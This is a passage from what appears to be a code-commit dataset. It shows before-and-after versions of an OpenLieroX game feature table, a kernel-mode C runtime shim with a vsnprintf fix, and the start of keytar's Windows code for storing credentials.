),\n\tFeature(\"SelfInjure\", \t\t\t\"Damage yourself\", \t\t\t\t\"If disabled, your bullets and projectiles don't damage you.\", \n\t\t\ttrue, \ttrue, \t\t\tOLXBetaVersion(9), \tGIG_Weapons ),\n\tFeature(\"SelfHit\", \t\t\t\t\"Hit yourself\", \t\t\t\t\"If disabled, your bullets and projectiles will fly through yourself.\", \n\t\t\ttrue, \ttrue, \t\t\tOLXBetaVersion(9), \tGIG_Weapons ),\n\tFeature(\"AllowEmptyGames\", \t\t\"Allow empty games\", \t\t\t\"If enabled, games with one or zero worms will not quit.\", \n\t\t\tfalse, \tfalse, \t\t\tVersion(), \t\t\tGIG_Other, \t\t\t\t\t\t\ttrue,\ttrue ),\n\tFeature(\"HS_HideTime\", \t\t\t\"Hiding time\", \t\t\t\t\t\"AbsTime at the start of the game for hiders to hide\", \n\t\t\t20.0f, \t20.0f, \t\t\tVersion(), \t\t\tGIG_HideAndSeek,\t0.0f,\t100.0f,\ttrue,\ttrue ),\n\tFeature(\"HS_AlertTime\", \t\t\"Alert time\", \t\t\t\t\t\"When player discovered but escapes the time for which it's still visible\", \n\t\t\t10.0f, \t10.0f, \t\t\tVersion(), \t\t\tGIG_HideAndSeek, \t0.1f, \t100.0f,\ttrue,\ttrue ),\n\tFeature(\"HS_HiderVision\",\t \t\"Hider vision\", \t\t\t\t\"How far hider can see, in pixels (whole screen = 320 px)\", \n\t\t\t175, \t175, \t\t\tVersion(), \t\t\tGIG_HideAndSeek, \t0, \t\t320, \ttrue,\ttrue ),\n\tFeature(\"HS_HiderVisionThroughWalls\", \"Hider vision thorough walls\", \"How far hider can see through walls, in pixels (whole screen = 320 px)\", \n\t\t\t75, \t75, \t\t\tVersion(), \t\t\tGIG_HideAndSeek, \t0, \t\t320, \ttrue,\ttrue ),\n\tFeature(\"HS_SeekerVision\",\t\t\"Seeker vision\", \t\t\t\t\"How far seeker can see, in pixels (whole screen = 320 px)\", \n\t\t\t125, \t125, \t\t\tVersion(), \t\t\tGIG_HideAndSeek, \t0, \t\t320, \ttrue,\ttrue ),\n\tFeature(\"HS_SeekerVisionThroughWalls\", \"Seeker vision thorough walls\", \"How far seeker can see through walls, in pixels (whole screen = 320 px)\", \n\t\t\t0, \t\t0, \t\t\t\tVersion(), \t\t\tGIG_HideAndSeek, \t0, \t\t320, \ttrue,\ttrue ),\n\tFeature(\"HS_SeekerVisionAngle\",\t\"Seeker vision angle\",\t\t\t\"The angle of seeker vision (180 = half-circle, 360 = full circle)\", \n\t\t\t360, \t360, \t\t\tVersion(),\t\t\tGIG_HideAndSeek, \t0, \t\t360,\tfalse,\ttrue ),\n\tFeature(\"NewNetEngine\", \t\t\"New net engine (restricted)\",\t\"New net engine without self-shooting and lag effects, CPU-eating, many features won't work with it; DONT USE IF YOU DONT KNOW IT\", \n\t\t\tfalse, \tfalse, \t\t\tOLXBetaVersion(9),\tGIG_Advanced ),\n\tFeature(\"FillWithBotsTo\",\t\t\"Fill with bots up to\",\t\"If too less players, it will get filled with bots\",\n\t\t\t0,\t0,\t\t\t\t\tOLXBetaVersion(9),\t\tGIG_Other,\t\t0,\t\tMAX_PLAYERS, true,\ttrue),\n\tFeature(\"WormSpeedFactor\",\t\t\"Worm speed factor\",\t\"Initial factor to worm speed\",\n\t\t\t1.0f,\t1.0f,\t\t\tOLXBetaVersion(9),\t\tGIG_Other,\t\t-2.0f,\t10.0f,\ttrue),\n\tFeature(\"WormDamageFactor\",\t\t\"Worm damage factor\",\t\"Initial factor to worm damage\",\n\t\t\t1.0f,\t1.0f,\t\t\tOLXBetaVersion(9),\t\tGIG_Other,\t\t-2.0f,\t10.0f,\ttrue),\n\tFeature(\"InstantAirJump\",\t\t\"Instant air jump\",\t\t\"Worms can jump in air instantly, this allows floating in air\",\n\t\t\tfalse,\tfalse,\t\t\tOLXBetaVersion(9),\t\tGIG_Other,\t\ttrue),\t\/\/ Server-side\n\tFeature(\"RelativeAirJump\",\t\t\"Relative air jump\",\t\"Worms can jump in air, balanced version of Instant Air Jump\",\n\t\t\tfalse,\tfalse,\t\t\tOLXBetaVersion(9),\t\tGIG_Other),\t\t\t\t\/\/ Client-side\n\tFeature(\"RelativeAirJumpDelay\",\t\"Delay for relative air jumps\",\t\"How fast can you do air-jumps\",\n\t\t\t0.7f,\t0.7f,\t\t\tVersion(),\t\t\t\tGIG_Other,\t\t0.0f, \t5.0f),\n\tFeature(\"AllowWeaponsChange\",\t\"Allow weapons change\",\t\"Everybody can change its weapons at any time\",\n\t\t\ttrue,\ttrue,\t\t\tOLXBetaVersion(9),\t\tGIG_Weapons,\ttrue),\n\tFeature(\"ImmediateStart\",\t\t\"Immediate start\",\t\t\"Immediate start of game, don't wait for other players weapon selection\",\n\t\t\tfalse,\tfalse,\t\t\tOLXBetaVersion(8),\t\tGIG_Advanced,\ttrue),\n\tFeature(\"DisableWpnsWhenEmpty\",\t\"Disable weapons when empty\", \"When a weapon got uncharged, it got disabled and you have to catch a bonus (be sure that you have bonuses activated)\",\n\t\t\tfalse,\tfalse,\t\t\tOLXBetaVersion(7) \/* it needs wpninfo packet which is there since beta7 *\/,\t\tGIG_Weapons,\ttrue),\n\tFeature(\"InfiniteMap\",\t\t\t\"Infinite map\",\t\t\t\"Map has no borders and is tiled together\",\n\t\t\tfalse,\tfalse,\t\t\tOLXBetaVersion(9),\t\tGIG_Other,\t\tfalse),\n\tFeature(\"WormFriction\",\t\t\t\"Worm Friction\",\t\t\"Friction coefficient for worms (0 = disabled)\",\n\t\t\t0.0f, 0.0f,\t\t\t\tOLXBetaVersion(9),\t\tGIG_Other,\t\t0.0f, 2.0f,\tfalse),\n\tFeature(\"ProjFriction\",\t\t\t\"Projectile Friction\",\t\"Friction coefficient for projectiles (0 = disabled)\",\n\t\t\t0.0f, 0.0f,\t\t\t\tOLXBetaVersion(9),\t\tGIG_Other,\t\t0.0f, 2.0f,\tfalse),\n\tFeature(\"TeamScoreLimit\",\t\t\"Team Score limit\",\t\t\"Team score limit\",\n\t\t\t5, 5,\t\t\t\t\tOLXBetaVersion(9),\t\tGIG_General,\t-1, 100,\ttrue, true, false, true),\n\tFeature(\"SizeFactor\",\t\t\t\"Size factor\",\t\t\t\"The size of everything in game will be changed by this factor (i.e. made bigger or smaller)\",\n\t\t\t1.0f, 1.0f,\t\t\t\tOLXBetaVersion(9),\t\tGIG_Advanced,\t0.5f, 4.0f, false),\n\tFeature(\"CTF_AllowRopeForCarrier\", \"Allow rope for carrier\", \"The worm who is holding the flag can use ninja rope\",\n\t\t\ttrue, true,\t\t\t\tOLXBetaVersion(9),\t\tGIG_CaptureTheFlag, true),\n\tFeature(\"CTF_SpeedFactorForCarrier\", \"Speed factor for carrier\", \"Changes the carrier speed by this factor\",\n\t\t\t1.0f, 1.0f,\t\t\t\tOLXBetaVersion(9),\t\tGIG_CaptureTheFlag, 0.1f, 3.0f, true),\n\tFeature(\"Race_Rounds\", \"Rounds\", \"Amount of rounds\",\n\t\t\t5,5,\t\t\t\t\tVersion(),\t\t\t\tGIG_Race,\t\t-1,\t\t100,\ttrue,\ttrue),\n\tFeature(\"Race_AllowWeapons\", \"Allow weapons\", \"If disabled, you cannot shoot\",\n\t\t\tfalse,\tfalse,\t\t\tOLXBetaVersion(9),\t\tGIG_Race,\t\ttrue),\n\n\tFeature::Unset()\n};\n\nstatic_assert(__FTI_BOTTOM == sizeof(featureArray)\/sizeof(Feature) - 1, featureArray__sizecheck);\n\n\nFeature* featureByName(const std::string& name) {\n\tforeach( Feature*, f, Array(featureArray,featureArrayLen()) ) {\n\t\tif( stringcaseequal(f->get()->name, name) )\n\t\t\treturn f->get();\n\t}\n\treturn NULL;\n}\n\nFeatureSettings::FeatureSettings() {\n\tsettings = new ScriptVar_t[featureArrayLen()];\n\tforeach( Feature*, f, Array(featureArray,featureArrayLen()) ) {\n\t\t(*this)[f->get()] = f->get()->defaultValue;\n\t}\n}\n\nFeatureSettings::~FeatureSettings() {\n\tif(settings) delete[] settings;\n}\n\nFeatureSettings& FeatureSettings::operator=(const FeatureSettings& r) {\n\tif(settings) delete[] settings;\n\n\tsettings = new ScriptVar_t[featureArrayLen()];\n\tforeach( Feature*, f, Array(featureArray,featureArrayLen()) ) {\n\t\t(*this)[f->get()] = r[f->get()];\t\t\n\t}\n\t\n\treturn *this;\n}\n\nScriptVar_t FeatureSettings::hostGet(FeatureIndex i) {\n\tScriptVar_t var = (*this)[i];\n\tFeature* f = &featureArray[i];\n\tif(f->getValueFct)\n\t\tvar = (cServer->*(f->getValueFct))( var );\n\telse if(f->unsetIfOlderClients) {\n\t\tif(cServer->clientsConnected_less(f->minVersion))\n\t\t\tvar = f->unsetValue;\n\t}\n\t\t\t\n\treturn var;\n}\n\nbool FeatureSettings::olderClientsSupportSetting(Feature* f) {\n\tif( f->optionalForClient ) return true;\n\treturn hostGet(f) == f->unsetValue;\n}\n\n<commit_msg>better description for AllowEmptyGames<commit_after>\/*\n *  FeatureList.cpp\n *  OpenLieroX\n *\n *  Created by Albert Zeyer on 22.12.08.\n *  code under LGPL\n *\n *\/\n\n\n#include \"FeatureList.h\"\n#include \"Version.h\"\n#include \"CServer.h\"\n\n\n\n\/\/ WARNING: Keep this always synchronised with FeatureIndex!\n\/\/ Legend:\tName in options,\t\tHuman-readable-name,\t\t\tLong description,\t\n\/\/\t\t\tUnset,\tDefault,\t\tMin client Version,\tGroup,\t\t\t\t[Min,]\t[Max,]\t[server-side only] [optional for client] [switch to unset value on older clients] [is value unsigned] (Min and Max are only for Int and Float)\n\/\/ Old clients are kicked if feature version is greater that client version, no matter if feature is server-sided or safe to ignore\n\nFeature featureArray[] = {\n\tFeature(\"GameSpeed\", \t\t\t\"Game-speed multiplicator\", \t\"Game simulation speed is multiplicated by the given value.\", \n\t\t\t1.0f, \t1.0f,\t\t\tOLXBetaVersion(7), \tGIG_Advanced, \t\t0.1f, \t10.0f ),\n\tFeature(\"GameSpeedOnlyForProjs\", \"Speed multiplier only for projs\",\t\"Game-speed multiplicator applies only for projectiles and weapons, everything else will be normal speed\",\n\t\t\tfalse, false,\t\t\tOLXBetaVersion(9),\tGIG_Advanced,\t\t\t\t\t\tfalse),\n\tFeature(\"ForceScreenShaking\", \t\"Force screen shaking\", \t\t\"Screen shaking when something explodes will be activated for everybody.\", \n\t\t\ttrue, \tfalse, \t\t\tOLXBetaVersion(9),\tGIG_Other, \t\t\t\t\t\t\tfalse,\ttrue,\ttrue ),\n\tFeature(\"SuicideDecreasesScore\", \"Suicide decreases score\", \"The kills count will be descreased by one after a suicide.\", \n\t\t\tfalse, \tfalse, \t\t\tVersion(), \t\t\tGIG_Score, \t\t\t\t\t\t\tfalse,\ttrue ),\n\tFeature(\"TeamkillDecreasesScore\", \"Teamkill decreases score\", \"The kills count will be descreased by one after a teamkill.\", \n\t\t\tfalse, \tfalse, \t\t\tVersion(), \t\t\tGIG_Score, \t\t\t\t\t\t\tfalse,\ttrue ),\n\tFeature(\"CountTeamkills\", \t\t\"Count teamkills\", \t\t\t\t\"When killing player from your team increase your score\", \n\t\t\tfalse, \tfalse, \t\t\tVersion(), \t\t\tGIG_Score, \t\t\t\t\t\t\tfalse,\ttrue ),\n\tFeature(\"TeamInjure\", \t\t\t\"Damage team members\", \t\t\t\"If disabled, your bullets and projectiles don't damage other team members.\", \n\t\t\ttrue, \ttrue, \t\t\tOLXBetaVersion(9), \tGIG_Weapons ),\n\tFeature(\"TeamHit\", \t\t\t\t\"Hit team members\", \t\t\t\"If disabled, your bullets and projectiles will fly through your team members.\", \n\t\t\ttrue, \ttrue, \t\t\tOLXBetaVersion(9), \tGIG_Weapons ),\n\tFeature(\"SelfInjure\", \t\t\t\"Damage yourself\", \t\t\t\t\"If disabled, your bullets and projectiles don't damage you.\", \n\t\t\ttrue, \ttrue, \t\t\tOLXBetaVersion(9), \tGIG_Weapons ),\n\tFeature(\"SelfHit\", \t\t\t\t\"Hit yourself\", \t\t\t\t\"If disabled, your bullets and projectiles will fly through yourself.\", \n\t\t\ttrue, \ttrue, \t\t\tOLXBetaVersion(9), \tGIG_Weapons ),\n\tFeature(\"AllowEmptyGames\", \t\t\"Allow empty games\", \t\t\t\"If enabled, games with one or zero worms will not quit. This is only possible if you have infinite lives set and also only for network games.\", \n\t\t\tfalse, \tfalse, \t\t\tVersion(), \t\t\tGIG_Other, \t\t\t\t\t\t\ttrue,\ttrue ),\n\tFeature(\"HS_HideTime\", \t\t\t\"Hiding time\", \t\t\t\t\t\"AbsTime at the start of the game for hiders to hide\", \n\t\t\t20.0f, \t20.0f, \t\t\tVersion(), \t\t\tGIG_HideAndSeek,\t0.0f,\t100.0f,\ttrue,\ttrue ),\n\tFeature(\"HS_AlertTime\", \t\t\"Alert time\", \t\t\t\t\t\"When player discovered but escapes the time for which it's still visible\", \n\t\t\t10.0f, \t10.0f, \t\t\tVersion(), \t\t\tGIG_HideAndSeek, \t0.1f, \t100.0f,\ttrue,\ttrue ),\n\tFeature(\"HS_HiderVision\",\t \t\"Hider vision\", \t\t\t\t\"How far hider can see, in pixels (whole screen = 320 px)\", \n\t\t\t175, \t175, \t\t\tVersion(), \t\t\tGIG_HideAndSeek, \t0, \t\t320, \ttrue,\ttrue ),\n\tFeature(\"HS_HiderVisionThroughWalls\", \"Hider vision thorough walls\", \"How far hider can see through walls, in pixels (whole screen = 320 px)\", \n\t\t\t75, \t75, \t\t\tVersion(), \t\t\tGIG_HideAndSeek, \t0, \t\t320, \ttrue,\ttrue ),\n\tFeature(\"HS_SeekerVision\",\t\t\"Seeker vision\", \t\t\t\t\"How far seeker can see, in pixels (whole screen = 320 px)\", \n\t\t\t125, \t125, \t\t\tVersion(), \t\t\tGIG_HideAndSeek, \t0, \t\t320, \ttrue,\ttrue ),\n\tFeature(\"HS_SeekerVisionThroughWalls\", \"Seeker vision thorough walls\", \"How far seeker can see through walls, in pixels (whole screen = 320 px)\", \n\t\t\t0, \t\t0, \t\t\t\tVersion(), \t\t\tGIG_HideAndSeek, \t0, \t\t320, \ttrue,\ttrue ),\n\tFeature(\"HS_SeekerVisionAngle\",\t\"Seeker vision angle\",\t\t\t\"The angle of seeker vision (180 = half-circle, 360 = full circle)\", \n\t\t\t360, \t360, \t\t\tVersion(),\t\t\tGIG_HideAndSeek, \t0, \t\t360,\tfalse,\ttrue ),\n\tFeature(\"NewNetEngine\", \t\t\"New net engine (restricted)\",\t\"New net engine without self-shooting and lag effects, CPU-eating, many features won't work with it; DONT USE IF YOU DONT KNOW IT\", \n\t\t\tfalse, \tfalse, \t\t\tOLXBetaVersion(9),\tGIG_Advanced ),\n\tFeature(\"FillWithBotsTo\",\t\t\"Fill with bots up to\",\t\"If too less players, it will get filled with bots\",\n\t\t\t0,\t0,\t\t\t\t\tOLXBetaVersion(9),\t\tGIG_Other,\t\t0,\t\tMAX_PLAYERS, true,\ttrue),\n\tFeature(\"WormSpeedFactor\",\t\t\"Worm speed factor\",\t\"Initial factor to worm speed\",\n\t\t\t1.0f,\t1.0f,\t\t\tOLXBetaVersion(9),\t\tGIG_Other,\t\t-2.0f,\t10.0f,\ttrue),\n\tFeature(\"WormDamageFactor\",\t\t\"Worm damage factor\",\t\"Initial factor to worm damage\",\n\t\t\t1.0f,\t1.0f,\t\t\tOLXBetaVersion(9),\t\tGIG_Other,\t\t-2.0f,\t10.0f,\ttrue),\n\tFeature(\"InstantAirJump\",\t\t\"Instant air jump\",\t\t\"Worms can jump in air instantly, this allows floating in air\",\n\t\t\tfalse,\tfalse,\t\t\tOLXBetaVersion(9),\t\tGIG_Other,\t\ttrue),\t\/\/ Server-side\n\tFeature(\"RelativeAirJump\",\t\t\"Relative air jump\",\t\"Worms can jump in air, balanced version of Instant Air Jump\",\n\t\t\tfalse,\tfalse,\t\t\tOLXBetaVersion(9),\t\tGIG_Other),\t\t\t\t\/\/ Client-side\n\tFeature(\"RelativeAirJumpDelay\",\t\"Delay for relative air jumps\",\t\"How fast can you do air-jumps\",\n\t\t\t0.7f,\t0.7f,\t\t\tVersion(),\t\t\t\tGIG_Other,\t\t0.0f, \t5.0f),\n\tFeature(\"AllowWeaponsChange\",\t\"Allow weapons change\",\t\"Everybody can change its weapons at any time\",\n\t\t\ttrue,\ttrue,\t\t\tOLXBetaVersion(9),\t\tGIG_Weapons,\ttrue),\n\tFeature(\"ImmediateStart\",\t\t\"Immediate start\",\t\t\"Immediate start of game, don't wait for other players weapon selection\",\n\t\t\tfalse,\tfalse,\t\t\tOLXBetaVersion(8),\t\tGIG_Advanced,\ttrue),\n\tFeature(\"DisableWpnsWhenEmpty\",\t\"Disable weapons when empty\", \"When a weapon got uncharged, it got disabled and you have to catch a bonus (be sure that you have bonuses activated)\",\n\t\t\tfalse,\tfalse,\t\t\tOLXBetaVersion(7) \/* it needs wpninfo packet which is there since beta7 *\/,\t\tGIG_Weapons,\ttrue),\n\tFeature(\"InfiniteMap\",\t\t\t\"Infinite map\",\t\t\t\"Map has no borders and is tiled together\",\n\t\t\tfalse,\tfalse,\t\t\tOLXBetaVersion(9),\t\tGIG_Other,\t\tfalse),\n\tFeature(\"WormFriction\",\t\t\t\"Worm Friction\",\t\t\"Friction coefficient for worms (0 = disabled)\",\n\t\t\t0.0f, 0.0f,\t\t\t\tOLXBetaVersion(9),\t\tGIG_Other,\t\t0.0f, 2.0f,\tfalse),\n\tFeature(\"ProjFriction\",\t\t\t\"Projectile Friction\",\t\"Friction coefficient for projectiles (0 = disabled)\",\n\t\t\t0.0f, 0.0f,\t\t\t\tOLXBetaVersion(9),\t\tGIG_Other,\t\t0.0f, 2.0f,\tfalse),\n\tFeature(\"TeamScoreLimit\",\t\t\"Team Score limit\",\t\t\"Team score limit\",\n\t\t\t5, 5,\t\t\t\t\tOLXBetaVersion(9),\t\tGIG_General,\t-1, 100,\ttrue, true, false, true),\n\tFeature(\"SizeFactor\",\t\t\t\"Size factor\",\t\t\t\"The size of everything in game will be changed by this factor (i.e. made bigger or smaller)\",\n\t\t\t1.0f, 1.0f,\t\t\t\tOLXBetaVersion(9),\t\tGIG_Advanced,\t0.5f, 4.0f, false),\n\tFeature(\"CTF_AllowRopeForCarrier\", \"Allow rope for carrier\", \"The worm who is holding the flag can use ninja rope\",\n\t\t\ttrue, true,\t\t\t\tOLXBetaVersion(9),\t\tGIG_CaptureTheFlag, true),\n\tFeature(\"CTF_SpeedFactorForCarrier\", \"Speed factor for carrier\", \"Changes the carrier speed by this factor\",\n\t\t\t1.0f, 1.0f,\t\t\t\tOLXBetaVersion(9),\t\tGIG_CaptureTheFlag, 0.1f, 3.0f, true),\n\tFeature(\"Race_Rounds\", \"Rounds\", \"Amount of rounds\",\n\t\t\t5,5,\t\t\t\t\tVersion(),\t\t\t\tGIG_Race,\t\t-1,\t\t100,\ttrue,\ttrue),\n\tFeature(\"Race_AllowWeapons\", \"Allow weapons\", \"If disabled, you cannot shoot\",\n\t\t\tfalse,\tfalse,\t\t\tOLXBetaVersion(9),\t\tGIG_Race,\t\ttrue),\n\n\tFeature::Unset()\n};\n\nstatic_assert(__FTI_BOTTOM == sizeof(featureArray)\/sizeof(Feature) - 1, featureArray__sizecheck);\n\n\nFeature* featureByName(const std::string& name) {\n\tforeach( Feature*, f, Array(featureArray,featureArrayLen()) ) {\n\t\tif( stringcaseequal(f->get()->name, name) )\n\t\t\treturn f->get();\n\t}\n\treturn NULL;\n}\n\nFeatureSettings::FeatureSettings() {\n\tsettings = new ScriptVar_t[featureArrayLen()];\n\tforeach( Feature*, f, Array(featureArray,featureArrayLen()) ) {\n\t\t(*this)[f->get()] = f->get()->defaultValue;\n\t}\n}\n\nFeatureSettings::~FeatureSettings() {\n\tif(settings) delete[] settings;\n}\n\nFeatureSettings& FeatureSettings::operator=(const FeatureSettings& r) {\n\tif(settings) delete[] settings;\n\n\tsettings = new ScriptVar_t[featureArrayLen()];\n\tforeach( Feature*, f, Array(featureArray,featureArrayLen()) ) {\n\t\t(*this)[f->get()] = r[f->get()];\t\t\n\t}\n\t\n\treturn *this;\n}\n\nScriptVar_t FeatureSettings::hostGet(FeatureIndex i) {\n\tScriptVar_t var = (*this)[i];\n\tFeature* f = &featureArray[i];\n\tif(f->getValueFct)\n\t\tvar = (cServer->*(f->getValueFct))( var );\n\telse if(f->unsetIfOlderClients) {\n\t\tif(cServer->clientsConnected_less(f->minVersion))\n\t\t\tvar = f->unsetValue;\n\t}\n\t\t\t\n\treturn var;\n}\n\nbool FeatureSettings::olderClientsSupportSetting(Feature* f) {\n\tif( f->optionalForClient ) return true;\n\treturn hostGet(f) == f->unsetValue;\n}\n\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Set bar type as YErrorBar when creating InsertErrorBarsDialog.<commit_after><|endoftext|>"}
{"text":"<commit_before>\/**\n * @file libc.cpp\n * @author created by: Peter Hlavaty\n *\/\n\n#include \"libc.h\"\n#include <memory>\n\n#pragma warning(push)               \n#pragma warning (disable : 4565)\n\n#ifndef _LIBC_POOL_TAG\n#define _LIBC_POOL_TAG\t'colM'\n#endif\n\n\/\/ very nice for debug forensics!\nstruct MEMBLOCK\n{\n\tsize_t\tsize;\n#pragma warning(push)               \n#pragma warning (disable : 4200)\n\tchar data[0]; \n#pragma warning(pop)\n};\n\nEXTERN_C\n__drv_when(return!=0, __drv_allocatesMem(pBlock))\n__checkReturn\n__drv_maxIRQL(DISPATCH_LEVEL)\n__bcount_opt(size)\nvoid* \n__cdecl malloc(\n\t__in size_t size\n\t)\n{\n\tMEMBLOCK *pBlock = static_cast<MEMBLOCK*>(\n\t\tExAllocatePoolWithTag(\n\t\t\tNonPagedPoolNxCacheAligned, \n\t\t\tsize + sizeof(MEMBLOCK), \n\t\t\t_LIBC_POOL_TAG));\n\n\tif (nullptr == pBlock)\n\t\treturn nullptr;\n\n\tpBlock->size = size;\t\n\treturn pBlock->data;\n}\n\nEXTERN_C\n__drv_when(return != 0, __drv_allocatesMem(p))\n__checkReturn\n__drv_maxIRQL(DISPATCH_LEVEL)\n__bcount_opt(size * n)\nvoid*\n__cdecl calloc(size_t n, size_t size)\n{\n\tsize_t total = n * size;\n\tvoid *p = malloc(total);\n\n\tif (!p) return NULL;\n\n\treturn memset(p, 0, total);\n}\n\nEXTERN_C\n__drv_when(return!=0, __drv_allocatesMem(inblock))\n__checkReturn\n__drv_maxIRQL(DISPATCH_LEVEL)\n__bcount_opt(size)\nvoid* \n__cdecl realloc(\n\t__in_opt void* ptr, \n\t__in size_t size\n\t)\n{\n\tif (!ptr)\n\t\treturn malloc(size);\n\n\tstd::unique_ptr<unsigned char> inblock = std::unique_ptr<unsigned char>(static_cast<unsigned char*>(ptr));\n\n\t\/\/ alloc new block\n\tvoid* mem = malloc(size);\n\tif (!mem)\n\t\treturn nullptr;\n\n\t\/\/ copy from old one, not overflow ..\n\tmemcpy(mem, inblock.get(), min(CONTAINING_RECORD(inblock.get(), MEMBLOCK, data)->size, size));\n\treturn mem;\n}\n\nEXTERN_C\n__drv_maxIRQL(DISPATCH_LEVEL)\nvoid \n__cdecl free(\n\t__inout_opt __drv_freesMem(Mem) void* ptr\n\t)\n{\n\tif (ptr)\n\t\tExFreePoolWithTag(CONTAINING_RECORD(ptr, MEMBLOCK, data), _LIBC_POOL_TAG);\n}\n\n#pragma warning(pop)\n\n__drv_when(return!=0, __drv_allocatesMem(ptr))\n__checkReturn\n__drv_maxIRQL(DISPATCH_LEVEL)\n__bcount_opt(size)\nvoid* \n__cdecl operator new(\n\t__in size_t size\n\t)\n{\n\treturn malloc(size);\n}\n\n__drv_maxIRQL(DISPATCH_LEVEL)\nvoid \n__cdecl operator delete(\n\t__inout void* ptr\n\t)\n{\n\tfree(ptr);\n}\n\nint \n__cdecl vsnprintf(\n\tchar *buffer,\n\tsize_t count,\n\tconst char *format,\n\tva_list argptr\n)\n{\n\treturn static_cast<int>(DbgPrint(format, argptr));\n}\n<commit_msg>vsnprintf fix<commit_after>\/**\n * @file libc.cpp\n * @author created by: Peter Hlavaty\n *\/\n\n#include \"libc.h\"\n#include <memory>\n\n#pragma warning(push)               \n#pragma warning (disable : 4565)\n\n#ifndef _LIBC_POOL_TAG\n#define _LIBC_POOL_TAG\t'colM'\n#endif\n\n\/\/ very nice for debug forensics!\nstruct MEMBLOCK\n{\n\tsize_t\tsize;\n#pragma warning(push)               \n#pragma warning (disable : 4200)\n\tchar data[0]; \n#pragma warning(pop)\n};\n\nEXTERN_C\n__drv_when(return!=0, __drv_allocatesMem(pBlock))\n__checkReturn\n__drv_maxIRQL(DISPATCH_LEVEL)\n__bcount_opt(size)\nvoid* \n__cdecl malloc(\n\t__in size_t size\n\t)\n{\n\tMEMBLOCK *pBlock = static_cast<MEMBLOCK*>(\n\t\tExAllocatePoolWithTag(\n\t\t\tNonPagedPoolNxCacheAligned, \n\t\t\tsize + sizeof(MEMBLOCK), \n\t\t\t_LIBC_POOL_TAG));\n\n\tif (nullptr == pBlock)\n\t\treturn nullptr;\n\n\tpBlock->size = size;\t\n\treturn pBlock->data;\n}\n\nEXTERN_C\n__drv_when(return != 0, __drv_allocatesMem(p))\n__checkReturn\n__drv_maxIRQL(DISPATCH_LEVEL)\n__bcount_opt(size * n)\nvoid*\n__cdecl calloc(size_t n, size_t size)\n{\n\tsize_t total = n * size;\n\tvoid *p = malloc(total);\n\n\tif (!p) return NULL;\n\n\treturn memset(p, 0, total);\n}\n\nEXTERN_C\n__drv_when(return!=0, __drv_allocatesMem(inblock))\n__checkReturn\n__drv_maxIRQL(DISPATCH_LEVEL)\n__bcount_opt(size)\nvoid* \n__cdecl realloc(\n\t__in_opt void* ptr, \n\t__in size_t size\n\t)\n{\n\tif (!ptr)\n\t\treturn malloc(size);\n\n\tstd::unique_ptr<unsigned char> inblock = std::unique_ptr<unsigned char>(static_cast<unsigned char*>(ptr));\n\n\t\/\/ alloc new block\n\tvoid* mem = malloc(size);\n\tif (!mem)\n\t\treturn nullptr;\n\n\t\/\/ copy from old one, not overflow ..\n\tmemcpy(mem, inblock.get(), min(CONTAINING_RECORD(inblock.get(), MEMBLOCK, data)->size, size));\n\treturn mem;\n}\n\nEXTERN_C\n__drv_maxIRQL(DISPATCH_LEVEL)\nvoid \n__cdecl free(\n\t__inout_opt __drv_freesMem(Mem) void* ptr\n\t)\n{\n\tif (ptr)\n\t\tExFreePoolWithTag(CONTAINING_RECORD(ptr, MEMBLOCK, data), _LIBC_POOL_TAG);\n}\n\n#pragma warning(pop)\n\n__drv_when(return!=0, __drv_allocatesMem(ptr))\n__checkReturn\n__drv_maxIRQL(DISPATCH_LEVEL)\n__bcount_opt(size)\nvoid* \n__cdecl operator new(\n\t__in size_t size\n\t)\n{\n\treturn malloc(size);\n}\n\n__drv_maxIRQL(DISPATCH_LEVEL)\nvoid \n__cdecl operator delete(\n\t__inout void* ptr\n\t)\n{\n\tfree(ptr);\n}\n\nint \n__cdecl vsnprintf(\n\tchar *buffer,\n\tsize_t count,\n\tconst char *format,\n\tva_list argptr\n)\n{\t\n\treturn vsprintf_s(buffer, count, format, argptr);\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"keytar.h\"\n\n#define UNICODE\n\n#include <windows.h>\n#include <wincred.h>\n\n#include \"credentials.h\"\n\nnamespace keytar {\n\nLPWSTR utf8ToWideChar(std::string utf8) {\n  int wide_char_length = MultiByteToWideChar(CP_UTF8,\n                                             0,\n                                             utf8.c_str(),\n                                             -1,\n                                             NULL,\n                                             0);\n  if (wide_char_length == 0) {\n    return NULL;\n  }\n\n  LPWSTR result = new WCHAR[wide_char_length];\n  if (MultiByteToWideChar(CP_UTF8,\n                          0,\n                          utf8.c_str(),\n                          -1,\n                          result,\n                          wide_char_length) == 0) {\n    delete[] result;\n    return NULL;\n  }\n\n  return result;\n}\n\nstd::string wideCharToAnsi(LPWSTR wide_char) {\n  if (wide_char == NULL) {\n    return std::string();\n  }\n\n  int ansi_length = WideCharToMultiByte(CP_ACP,\n                                        0,\n                                        wide_char,\n                                        -1,\n                                        NULL,\n                                        0,\n                                        NULL,\n                                        NULL);\n  if (ansi_length == 0) {\n    return std::string();\n  }\n\n  char* buffer = new char[ansi_length];\n  if (WideCharToMultiByte(CP_ACP,\n                          0,\n                          wide_char,\n                          -1,\n                          buffer,\n                          ansi_length,\n                          NULL,\n                          NULL) == 0) {\n    delete[] buffer;\n    return std::string();\n  }\n\n  std::string result = std::string(buffer);\n  delete[] buffer;\n  return result;\n}\n\nstd::string getErrorMessage(DWORD errorCode) {\n  LPWSTR errBuffer;\n  ::FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,\n                  NULL, errorCode, 0, (LPWSTR) &errBuffer, 0, NULL);\n  std::string errMsg = wideCharToAnsi(errBuffer);\n  LocalFree(errBuffer);\n  return errMsg;\n}\n\nKEYTAR_OP_RESULT SetPassword(const std::string& service,\n                 const std::string& account,\n                 const std::string& password,\n                 std::string* errStr) {\n  LPWSTR target_name = utf8ToWideChar(service + '\/' + account);\n  if (target_name == NULL) {\n    return FAIL_ERROR;\n  }\n\n  LPWSTR user_name = utf8ToWideChar(account);\n  if (target_name == NULL) {\n    return FAIL_ERROR;\n  }\n\n  CREDENTIAL cred = { 0 };\n  cred.Type = CRED_TYPE_GENERIC;\n  cred.TargetName = target_name;\n  cred.UserName = user_name;\n  cred.CredentialBlobSize = password.size();\n  cred.CredentialBlob = (LPBYTE)(password.data());\n  cred.Persist = CRED_PERSIST_LOCAL_MACHINE;\n\n  bool result = ::CredWrite(&cred, 0);\n  delete[] target_name;\n  if (!result) {\n    *errStr = getErrorMessage(::GetLastError());\n    return FAIL_ERROR;\n  } else {\n    return SUCCESS;\n  }\n}\n\nKEYTAR_OP_RESULT 